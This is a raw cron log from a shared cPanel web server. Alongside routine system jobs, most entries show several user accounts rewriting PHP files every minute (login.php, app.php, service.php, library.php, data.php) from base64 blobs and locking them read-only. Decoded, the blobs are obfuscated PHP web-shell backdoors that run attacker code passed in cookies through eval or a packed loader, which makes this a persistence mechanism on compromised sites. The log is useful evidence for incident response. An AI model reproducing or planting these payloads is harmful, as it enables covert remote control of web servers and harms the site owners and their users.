gJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:45:01 medusa CROND[12169]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:45:01 medusa CROND[12171]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:45:01 medusa CROND[12172]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:45:01 medusa CROND[12174]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:45:01 medusa CROND[12173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:45:01 medusa CROND[12170]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:45:01 medusa CROND[12180]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:45:01 medusa CROND[12182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:45:01 medusa CROND[12179]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:46:01 medusa CROND[3221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:46:02 medusa CROND[3333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:46:02 medusa CROND[3334]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:46:02 medusa CROND[3332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:46:02 medusa CROND[3339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:46:02 medusa CROND[3341]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:46:02 medusa CROND[3342]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:46:02 medusa CROND[3344]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:46:02 medusa CROND[3351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:46:02 medusa CROND[3354]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:46:02 medusa CROND[3357]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:46:02 medusa CROND[3358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:46:02 medusa CROND[3360]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:46:02 medusa CROND[3359]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:46:02 medusa CROND[3364]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:47:02 medusa CROND[27082]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:47:02 medusa CROND[27083]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:47:02 medusa CROND[27087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:47:02 medusa CROND[27088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:47:02 medusa CROND[27089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:47:02 medusa CROND[27090]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
